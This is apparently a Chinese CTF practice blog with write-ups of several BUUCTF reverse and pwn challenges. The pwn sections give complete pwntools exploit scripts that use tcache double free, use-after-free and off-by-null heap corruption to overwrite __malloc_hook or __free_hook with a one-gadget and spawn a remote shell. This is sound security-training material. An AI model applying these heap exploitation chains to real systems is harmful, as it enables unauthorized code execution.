wustctf2020_name_your_dog
数组下标溢出,修改 got 表
mrctf2020_shellcode_revenge
将 shellcode 换个编码,换成用可见字符串组成。
https://blog.csdn.net/weixin_44145820/article/details/105565953
护网杯_2018_gettingstart
普通栈溢出,考点是浮点数在内存中怎么用 16 进制表示
浮点数16进制在线转换网站:http://www.binaryconvert.com/result_double.html?decimal=048046049
ciscn_2019_en_3
_printf_chk
会检测%N$
,换个思路泄露寄存器中的 libc 地址
还有注意 buu 上 ubuntu18 绝大部分的环境是旧 glibc 没有 tcache double free 保护
reverse1
1. PE文件分析
用的是 Exeinfo PE 这个软件,吾爱上有分享,爱盘也有收录。
这一步有点类似 pwn 查看程序的版本、保护情况:
64 位的程序。
2. 运行程序获取信息
题目最好在 命令行 中运行,避免运行结束前的提示字符没来得及看就关闭了。
3. x64dbg 打开
也可以用 OD 打开,因为OllyDbg 官方中文,我用这个入门吧。
用字符串定位程序关键位置,直接点面板的字符串,查找结果不全面的,需要在代码处右键选查找全部模块字符串:
然后操作逻辑就相当于 IDA 的了。
这里我是硬读汇编判断,将输入值与 {hell0_w0rld}
对比的,0x00007FF7F26F197E 明显调用 strcmp 用于比较。一开始以为是 {hello_world}
,发现还有一部分汇编将 o
换成 0
:
reverse2
1. 文件分析
64 位二进制文件
2. IDA 静态分析
flag 在程序中,最后结果需要进行替换处理,替换逻辑:将 i r 替换为 1
内涵软件
IDA 打开即可
helloworld
android killer 打开即可
xor
64 位程序;IDA 打开,里面大概逻辑是将输入的 33 字节数据进行一个加密,加密逻辑:当前字符密文等于前一个字符与当前字符的异或。
写一下脚本即可,这道题目重点是写到了 IDA 提取数据:shite+E
1 2 3 4 5 6
| ida_chars =[0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11, 0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F,0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F, 0x47, 0x32, 0x4F, 0x00] flag = ida_chars for i in list(range(0,33))[::-1]: flag[i]^=flag[i-1] for i in flag: print(chr(i),end='')
|
reverse3
Exeinfo PE 查出来是 32 位程序,运行一下了解一下程序流程。OD 之类工具不太会用,用 IDA 静态分析一下。
主要加密流程都是在 main 函数里面了,具体看图都全部都注释了:
第一层加密根据中间用到一个字符串,推测出来应该是标准密码表的 base64 加密:
第二层加密就是每个字符加 下标 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
import base64 ida_chars=[0x65, 0x33, 0x6E, 0x69, 0x66, 0x49, 0x48, 0x39, 0x62, 0x5F, 0x43, 0x40, 0x6E, 0x40, 0x64, 0x48] flag = '' for i in range(0,len(ida_chars)): ida_chars[i] -= i print(ida_chars)
for i in ida_chars: flag += chr(i)
print("flag"+base64.b64decode(flag).decode('utf-8'))
|
[V&N2020 公开赛]easyTHeap
基本情况
保护全开
1 2 3 4 5 6
| [*] '/ctf/work/vn_pwn_easyTHeap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
基本堆管理器,有增删查改功能。用 chunk_ptr_list 和 chunk_size_list 两个链表维护堆,堆数量实际上不由两个全局变量控制,而是受限于 chunk_ptr_list 是否有空位写入。全部功能操作都是基于下标去两个链表寻找对应地址操作的。
漏洞
在释放的时候没有将 chunk_ptr_list 对应位置置零,造成 UAF :
1 2 3 4
| if ( v1 < 0 || v1 > 6 || !chunk_ptr_list[v1] ) exit(0); free((void *)chunk_ptr_list[v1]); chunk_size_list[v1] = 0;
|
注意一点是 chunk_size_list 对应位置被置零了,也就是不能使用 edit 功能写入:
1 2
| printf("content:"); read(0, (void *)chunk_ptr_list[v1], (unsigned int)chunk_size_list[v1]);
|
思路
- 泄露堆地址,计算出 tcache struct 地址
- 修改结构体中对应 size 的数量标志位,将堆释放进 unsorted bin 泄露出 libc 地址
- 将 tcache 相关数量标志位恢复,将链头地址修改为 malloc_hook ,后面就是常规操作
为记笔记方便,下面所有地址均不是同一运行调试所得 Orz
当程序释放第一个堆进 tcache 时会申请一块 0x240 的空间放 tcache struct ,里面记录各个 size 的数量和链头地址。
1 2 3 4 5 6 7
| Allocated chunk | PREV_INUSE Addr: 0x5555564b5000 Size: 0x251
Allocated chunk | PREV_INUSE Addr: 0x5555564b5250 Size: 0x91
|
然后连续两次释放 chunk0 ,chunk0 fd 指针就会记录自己的地址。(tcache bin 中不会崩):
1 2 3
| pwndbg> bin tcachebins 0x90 [ 2]: 0x55555656b260 ◂— 0x55555656b260
|
用程序查询功能泄露地址,其与 tcache struct 偏移固定的。
再申请相同 size 的堆,分配的是 chunk0 所在的空间,通过 edit 将 chunk0 fd 覆盖为 tcache struct ,两次分配后将堆分配到结构体上面。
顺便 gdb 记一下结构体内容,因为需要对应修改某个地址的值,达到修改某个 size 对应的链表。当申请的 size 时,需要修改的位置也会不一样。
这里将 0x01 修改为 0x07 (MAX_NUM) ,到达上限后再释放一个堆就开始放入 unsorted bin 。释放 chunk0 ,show 泄露 libc 地址。
完事后,edit chunk3 将结构体 0x07 恢复为 0x01 ,链首地址修改为 malloc_hook 地址,形成这样的效果:
1 2 3 4
| # tcache bin 0x90 这条链表中只有 1 个堆,地址为 malloc_hook pwndbg> bin tcachebins 0x90 [ 1]: [malloc_hook地址] ……
|
这样下次分配就会分配到 malloc_hook 。实测后这个题目需要结合 realloc 调整栈帧环境,让 onegadget 生效。
EXP
下面这个脚本是成功攻击远程的,与前面原理一样,只是做题的时候在 docker 环境做 main_arean 的偏移算出来和远程的 18 不相同。。。
这里就直接将 tcache 全部链表数量都改了,然后将 malloc_hook-8 放到任意链首,然后申请对应大小的 chunk 就能分配到 malloc_hook 上了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context(log_level='debug',arch='amd64', terminal=['tmux','sp','-h'])
elf = ELF("./vn_pwn_easyTHeap") p = remote("node3.buuoj.cn",28954) libc = ELF("./libc-2.27.so")
def new(size): p.recvuntil(": ") p.sendline("1") p.recvuntil("?") p.sendline(str(size)) def edit(id,content): p.recvuntil(": ") p.sendline("2") p.recvuntil("?") p.sendline(str(id)) p.recvuntil(":") p.send(content) def show(id): p.recvuntil(": ") p.sendline("3") p.recvuntil("?") p.sendline(str(id)) def delete(id): p.recvuntil(": ") p.sendline("4") p.recvuntil("?") p.sendline(str(id))
new(0x50) delete(0) delete(0) show(0) heap_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00'))
new(0x50) edit(1, p64(heap_base - 0x250)) new(0x50) new(0x50) edit(3, 'a'*0x24)
delete(3) show(3) libc_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00')) - 0x3ebca0 log.info("libc_base:"+hex(libc_base)) malloc_hook = libc_base + libc.sym['__malloc_hook'] log.info("malloc_hook:"+hex(malloc_hook)) realloc = libc_base + libc.sym['__libc_realloc'] log.info(hex(realloc)) one = libc_base + 0x4f322 new(0x100) edit(4, b'b' * 0x60 + p64(malloc_hook - 8))
new(0x50) edit(5, p64(one) + p64(realloc+8)) new(0x10) p.interactive()
|
ciscn_final_3
基本情况
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
C++程序。只有两个功能,新建、释放堆块。数量上限为:24,大小限制为:0x78 。用列表维护,释放操作基于下标定位指针。
新建完成后会输出堆 fd 内存地址。
漏洞
free 没指令指针,造成 UAF :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| unsigned __int64 my_free() { __int64 v0; unsigned int v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u); v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index"); std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>); std::istream::operator>>((__int64)&std::cin, (__int64)&v2); if ( v2 > 24 ) exit(0); free((void *)chunk_ptr_list[v2]); return __readfsqword(0x28u) ^ v3; }
|
思路
刚刚做完[V&N2020 公开赛]easyTHeap
利用 tcache 部分基本相同。这道题 chunk 数量上限挺高的,可以通过 free 7 个 chunk 占满空间,可以不需要劫持 tcache 结构体数量标志位。
- double free ,劫持 tcache bin 的 chunk0 fd 到 tcache struct 上
- 修改 struct 中数量标志位;修改 bin 链头的地址为 chunk0-0x10 ,后面修改 chunk0 size 为 unsorted bin 大小,用来泄露地址;多写几个链头为 chunk0 fd ,后面分配到 main_area 上输出地址
- 再次劫持 tcache struct ,改一个链头 free_hook
获取 chunk0 后面用来计算各个地址:
1 2 3 4 5 6
| add(0,0x50,'a'*8)
p.recvuntil("gift :") chunk0_addr = int(p.recv(14),16) log.info("chunk0_addr:"+hex(chunk0_addr)) tcache_struct = chunk0_addr - 0x11e60
|
double free ,写 tcache bin 0x60 链表写入结构体地址;再次申请成功分配到结构体上,劫持结构体数量以及链头地址:
1 2 3 4 5
| free(0) free(0) add(1,0x50,p64(tcache_struct)) add(2,0x50,p64(tcache_struct)) add(3,0x58,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(chunk0_addr)*2+p64(chunk0_addr-0x10))
|
- 劫持链头要一个 chunk0_addr-0x10 用来修改 size ,另外一个 chunk0_addr 用来分配到 main_area 上泄露地址。
- 那个
\x00
是 0x70 的位置,这里不覆盖用来再次 tcache bin doublue free 再次劫持结构体。
做 chunk0 释放到 unsorted bin 绕过,nextchunk inuse 位设置为 1 ,再申请一个防止与 topchunk 合并:
1 2 3 4 5 6 7
| add(4,0x38,p64(0)+p64(0x101)) add(5,0x40,'b'*8) add(6,0x40,'c'*8) add(7,0x50,p64(0xdeadbeef)) free(0) add(8,0x28,p64(0xdeadbeef)) add(9,0x28,p64(chunk0_addr+0x150))
|
再次劫持 tcache 结构体将堆分配到 free_hook 上:
1 2 3 4 5 6
| add(10,0x60,'a') free(10) free(10) add(11,0x60,p64(tcache_struct)) add(12,0x60,p64(tcache_struct)) add(13,0x60,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(free_hook)*4)
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
|
from pwn import * context(log_level='debug',os='linux',arch='amd64', terminal=['tmux','sp','-h'])
elf = ELF("./ciscn_final_3")
p = remote("node3.buuoj.cn",27718) libc = ELF("./libc.so.6")
def add(id,size,content): p.recvuntil("> ") p.sendline('1') p.recvuntil("index\n") p.sendline(str(id)) p.recvuntil("size\n") p.sendline(str(size)) p.recvuntil("thing\n") p.send(content) def free(id): p.recvuntil("> ") p.sendline('2') p.recvuntil("index\n") p.sendline(str(id))
add(0,0x50,'a'*8)
p.recvuntil("gift :") chunk0_addr = int(p.recv(14),16) log.info("chunk0_addr:"+hex(chunk0_addr)) tcache_struct = chunk0_addr - 0x11e60
free(0) free(0) add(1,0x50,p64(tcache_struct)) add(2,0x50,p64(tcache_struct)) add(3,0x58,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(chunk0_addr)*2+p64(chunk0_addr-0x10))
add(4,0x38,p64(0)+p64(0x101)) add(5,0x40,'b'*8) add(6,0x40,'c'*8) add(7,0x50,p64(0xdeadbeef))
free(0) add(8,0x28,p64(0xdeadbeef)) add(9,0x28,p64(chunk0_addr+0x150))
p.recvuntil("gift :") main_area = int(p.recv(14),16) log.info("main_area:"+hex(main_area)) libc_base = main_area - 0x3ebca0 system = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook'] log.info("system:"+hex(system))
add(10,0x60,'a') free(10) free(10) add(11,0x60,p64(tcache_struct)) add(12,0x60,p64(tcache_struct)) add(13,0x60,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(free_hook)*4)
''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
onegadget = libc_base + 0x4f322 add(14,0x40,p64(onegadget))
free(10)
p.interactive()
|
ciscn_2019_es_1
基本情况
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
简单堆管理程序,有增删查功能。chunk 上限为 12 个,有 0x18 的结构体,又通过链表管理结构体。结构体如下:
1 2 3 4 5 6
| struct { void **chunk_ptr; size_t size; int number; }
|
漏洞
在 free 中,只是单单释放 data chunk ,结构体 chunk 以及对应链表都完整保留,释放 data chunk 时,没有将结构体中对应位置置零,造成 UAF 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| unsigned __int64 call() { int v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); puts("Please input the index:"); __isoc99_scanf("%d", &v1); if ( v1 < 0 && v1 > 12 ) exit(0); if ( heap_addr[v1] ) free(*heap_addr[v1]); puts("You try it!"); puts("Done"); return __readfsqword(0x28u) ^ v2; }
|
思路
- double free 泄露堆地址,劫持 tcache struct ,控制链头分配到 chunk0 size
- free chunk0 到 unsorted bin 泄露 libc 地址
- 劫持 free_hook 为 onegadget
tcache 常规的 double free 泄露地址:
1 2 3 4 5 6 7
| add(0x60,'a'*8,'b'*0xc) free(0) free(0) show(0)
p.recvuntil("name:\n") chunk_addr = u64(p.recv(6).ljust(8,'\x00'))
|
修改 tcache bin 中的数量以及链头地址:
1 2 3
| add(0x60,p64(tcache_addr),'f'*8) add(0x60,p64(tcache_addr),'e'*8) add(0x60,('\x00'+'a'*5+'\x00').ljust(0x40,'a')+p64(tcache_addr)*3+p64(tcache_addr-0x10),'c'*0x4+p64(chunk_addr+0x70))
|
- tcahce_addr 方便再次申请 chunk0
- tcache_addr - 0x10 用来修改 chunk0 的 size
- 劫持数量标志位保留一个,后面用来 double free
释放 chunk0 获取 libc 地址:
1 2 3 4 5
| free(3) show(3)
p.recvuntil("name:\n") main_area = u64(p.recv(6).ljust(8,'\x00'))
|
再次 double free tcache 将 chunk 分配到 free_hook 上:
1 2 3 4 5 6
| add(0x48,'\x00'*0x48,'b') free(0) free(0) add(0x60,p64(free_hook),'b'*8) add(0x60,p64(free_hook),'b'*8) add(0x60,p64(onegadget),'b'*8)
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import * context(log_level='info',os='linux',arch='amd64', terminal=['tmux','sp','-h'])
elf = ELF("./ciscn_2019_es_1") p = remote("node3.buuoj.cn",27240) libc = ELF("./libc-2.27.so")
def add(size,name,number): p.recvuntil(":") p.sendline('1') p.recvuntil("name\n") p.sendline(str(size)) p.recvuntil(":\n") p.send(name) p.recvuntil("call:\n") p.send(number) def show(id): p.recvuntil(":") p.sendline('2') p.recvuntil("index:\n") p.sendline(str(id)) def free(id): p.recvuntil(":") p.sendline('3') p.recvuntil("index:\n") p.sendline(str(id))
add(0x60,'a'*8,'b'*0xc) free(0) free(0) show(0)
p.recvuntil("name:\n") chunk_addr = u64(p.recv(6).ljust(8,'\x00')) tcache_addr = chunk_addr - 0x270 log.info("tcache_addr:"+hex(tcache_addr))
add(0x60,p64(tcache_addr),'f'*8) add(0x60,p64(tcache_addr),'e'*8) add(0x60,('\x00'+'a'*5+'\x00').ljust(0x40,'a')+p64(tcache_addr)*3+p64(tcache_addr-0x10),'c'*0x4+p64(chunk_addr+0x70))
free(3) show(3)
p.recvuntil("name:\n") main_area = u64(p.recv(6).ljust(8,'\x00')) libc_base = main_area - 0x3ebca0 malloc_hook = libc_base + libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym['__free_hook'] log.info("free_hook:"+hex(free_hook)) log.info("malloc_hook:"+hex(malloc_hook))
one = [0x4f365,0x4f3c2,0x10a45c] onegadget = libc_base + 0x4f322 log.info("onegadget:"+hex(onegadget))
add(0x48,'\x00'*0x48,'b') free(0) free(0) add(0x60,p64(free_hook),'b'*8) add(0x60,p64(free_hook),'b'*8) add(0x60,p64(onegadget),'b'*8)
free(0)
p.interactive()
|
HITCON_2018_children_tcache
tcache 结合 off by null
基本情况
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
基本堆管理器,有增删查功能。用 chunk_ptr_list 和 chunk_size_list 两个链表维护,数量上限为 12 ,使用的不是只递增的下标,而是哪个下标没有使用就用哪个,即只能同时存在 12 个。
漏洞
写入堆数据时,调用函数先写入到 tmp 局部变量,然后通过 strcpy 写入到堆上。写入函数本身没有问题,写入长度为 size ,将最后一字节替换为结束符。
问题出在使用 strcpy :
strcpy 字符串复制函数。复制时,遇到结束符 \x00
才会停止复制。复制结束后,会在最后写入一个结束符 \x00
。
缓冲区的长度为 size ,chunk 空间为 size ,strcpy 写入 size 后,会再次写入 \x00
,造成 off by null :
1 2
| write_chunk((__int64)&tmp, size); strcpy(ptr, &tmp);
|
思路
off by null 想到堆重叠(overlapping),和 16 区别主要是申请的 unsorted bin 大小需要大于 0x408 来避免 chunk 放入 tcache 。
溢出修改 inuse 位比较简单,申请使用下一个 chunk prev_size 的堆直接写满就行,就是 prev_size 怎么写需要想一下办法。因为 free chunk 之前会使用 memset 往堆里填充 size 个 0xda 。
- 布置 4 个堆,先释放 chunk0 做好向前 unlink 准备。
- 通过写 chunk1 实现:溢出修改 chunk2 inuse ,还原 chunk2 prev_size ,伪造 chunk2 prev_size
- tcache bin double free 劫持 __free_hook 为 onegadget
整体堆分布和 16 的一样:
1 2 3 4
| chunk0 unsorted bin chunk1 chunk2 unsorted bin chunk3 protect
|
chunk0 2 需要大于 0x408 能直接放入 unsorted bin 。chunk2 最低字节需要为 0x01 ,绕过 unlink 检查 next chunk inuse 位。
然后先把 chunk0 给释放了,后面在释放也可以
1 2 3 4 5 6
| add(0x410,'s') add(0xe8,'k') add(0x4f0,'y') add(0x60,'e')
free(0)
|
溢出修改 inuse 就直接写满堆就行了:释放 chunk1 ,再次申请并写满。
free 的 memset 写入的字节长度是 chunk_size ,也就是申请多少,free 填充多少,但是 malloc 并不是这样,malloc 会自动对齐。举个例子:
1 2 3
| size=0xe8 -> chunk_size=0xf0 size=0xe7 -> chunk_size=0xf0 size=0xe6 -> chunk_size=0xf0
|
结合以上特点,利用 off by null 逐步将溢出 inuse 时被填充为 0xdadadadadadadada 的 prev_size 还原回来(恢复 prev_size 高 5 字节就行了)
溢出修改 inuse :
恢复最高字节:
1 2
| free(0) add(0xe7,'k'*0xe7)
|
以此类推写成循环即可:
1 2 3 4 5
| free(1) for i in range(0,6): add(0xe8-i,'k'*(0xe8-i)) free(0) add(0xe8,'k'*0xe0+p64(0x510))
|
构造完成利用条件,后面是常规 unsortbin 泄露:
1 2 3 4 5
| free(2) add(0x410,'leak libc') show(0)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
|
最后 getshell 利用 tcache double free 将堆分配到 free_hook 。虽然程序没有 UAF ,但是前面 unsortbin 利用完还有一大块堆在 bin 中,刚好堆头在 chunk1 (用来泄露地址那个堆),本身已经有一个指针了,然后再申请一个相同大小的堆就有第二个指针了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| add(0x60,'getshell') free(0) free(2)
add(0x60,p64(free_hook)) add(0x60,p64(free_hook)) onegadget = libc_base + 0x4f322 log.info("onegadget:"+hex(onegadget)) log.info("free_hook"+hex(free_hook)) add(0x60,p64(onegadget))
free(0)
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| from pwn import * context(log_level='debug',arch='amd64', terminal=['tmux','sp','-h'])
elf = ELF("./HITCON_2018_children_tcache") p = remote("node3.buuoj.cn",28300) libc = ELF("./libc-2.27.so")
def add(size, content): p.recvuntil("Your choice: ") p.sendline('1') p.recvuntil("Size:") p.sendline(str(size)) p.recvuntil("Data:") p.send(content)
def free(index): p.recvuntil("Your choice: ") p.sendline('3') p.recvuntil("Index:") p.sendline(str(index))
def show(index): p.recvuntil("Your choice: ") p.sendline('2') p.recvuntil("Index:") p.sendline(str(index))
add(0x410,'s') add(0xe8,'k') add(0x4f0,'y') add(0x60,'e')
free(0)
free(1) for i in range(0,6): add(0xe8-i,'k'*(0xe8-i)) free(0) add(0xe8,'k'*0xe0+p64(0x510))
free(2) add(0x410,'leak libc') show(0)
leak_addr = u64(p.recv(6).ljust(8,'\x00')) log.info("leak_addr:"+hex(leak_addr)) libc_base = leak_addr -0x3ebca0 free_hook = libc_base + libc.sym['__free_hook']
add(0x60,'getshell') free(0) free(2)
add(0x60,p64(free_hook)) add(0x60,p64(free_hook)) onegadget = libc_base + 0x4f322 log.info("onegadget:"+hex(onegadget)) log.info("free_hook"+hex(free_hook)) add(0x60,p64(onegadget))
free(0)
p.interactive()
|